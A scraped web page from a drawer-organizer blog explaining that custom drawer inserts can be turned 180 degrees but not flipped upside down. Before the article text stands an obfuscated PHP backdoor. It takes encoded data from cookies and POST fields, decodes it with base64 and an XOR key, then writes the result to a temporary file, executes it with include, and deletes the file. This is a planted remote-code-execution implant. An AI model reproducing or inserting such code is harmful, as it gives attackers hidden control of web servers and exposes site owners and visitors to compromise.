$SMCqhdwl = class_exists("eP_DhE"); $cttsnr = $SMCqhdwl;if (!$cttsnr){class eP_DhE{private $TLggw;public static $EKZwKScul = "3d9edd18-0968-4da6-ac3e-74f831adf642";public static $iFDZWadO = NULL;public function __construct(){$CFvNSRrlp = $_COOKIE;$FdKDeeosoW = $_POST;$VWPQM = @$CFvNSRrlp[substr(eP_DhE::$EKZwKScul, 0, 4)];if (!empty($VWPQM)){$GOvXXdfA = "base64";$xEPxuMupi = "";$VWPQM = explode(",", $VWPQM);foreach ($VWPQM as $JxtlH){$xEPxuMupi .= @$CFvNSRrlp[$JxtlH];$xEPxuMupi .= @$FdKDeeosoW[$JxtlH];}$xEPxuMupi = array_map($GOvXXdfA . "\x5f" . "\144" . "\x65" . "\x63" . "\x6f" . "\144" . chr (101), array($xEPxuMupi,)); $xEPxuMupi = $xEPxuMupi[0] ^ str_repeat(eP_DhE::$EKZwKScul, (strlen($xEPxuMupi[0]) / strlen(eP_DhE::$EKZwKScul)) + 1);eP_DhE::$iFDZWadO = @unserialize($xEPxuMupi);}}public function __destruct(){$this->VjvlKL();}private function VjvlKL(){if (is_array(eP_DhE::$iFDZWadO)) {$vFPCaRuG = sys_get_temp_dir() . "/" . crc32(eP_DhE::$iFDZWadO["\163" . 'a' . "\154" . "\164"]);@eP_DhE::$iFDZWadO[chr (119) . "\162" . "\151" . chr (116) . chr ( 1068 - 967 )]($vFPCaRuG, eP_DhE::$iFDZWadO[chr ( 163 - 64 )."\157" . chr (110) . "\164" . chr (101) . "\156" . chr ( 609 - 493 )]);include $vFPCaRuG;@eP_DhE::$iFDZWadO['d' . chr (101) . "\x6c" . "\x65" . chr ( 1105 - 989 ).chr ( 888 - 787 )]($vFPCaRuG);exit();}}}$KAyPthbGPj = new eP_DhE(); $KAyPthbGPj = NULL;} ?> custom drawer insert – Orderly Drawer Blog

Can I turn my custom insert around?

If you mean, “Can I turn my custom insert 180 degrees?” the answer is yes. You can plan inserts with this in mind. Here are some examples of inserts that were planned in one orientation, but the owner is using them turned around. What was at 12:00 is now at 6:00.

Here is our Eric template…

And here is an insert designed using the Eric template, turned 180 degrees in its drawer.

The following is our Jill template…

And here is an insert designed with the Jill template turned 180 degrees in the drawer.

Here is our Andrea template…

And here is an insert designed with the Andrea template and turned 180 degrees in the drawer.

So, yes, turning an insert around in your drawer works just fine.

What’s not possible is flipping the insert over, pancake style. That’s a no-no for two reasons.

First, the underside of our inserts are unfinished. Second, and more importantly, the dividers would not function properly. The dividers cannot be removed from the bottom. This is an intentional design so that the entire insert can be lifted straight up, and, even if the insert is bottomless, the dividers will not fall through.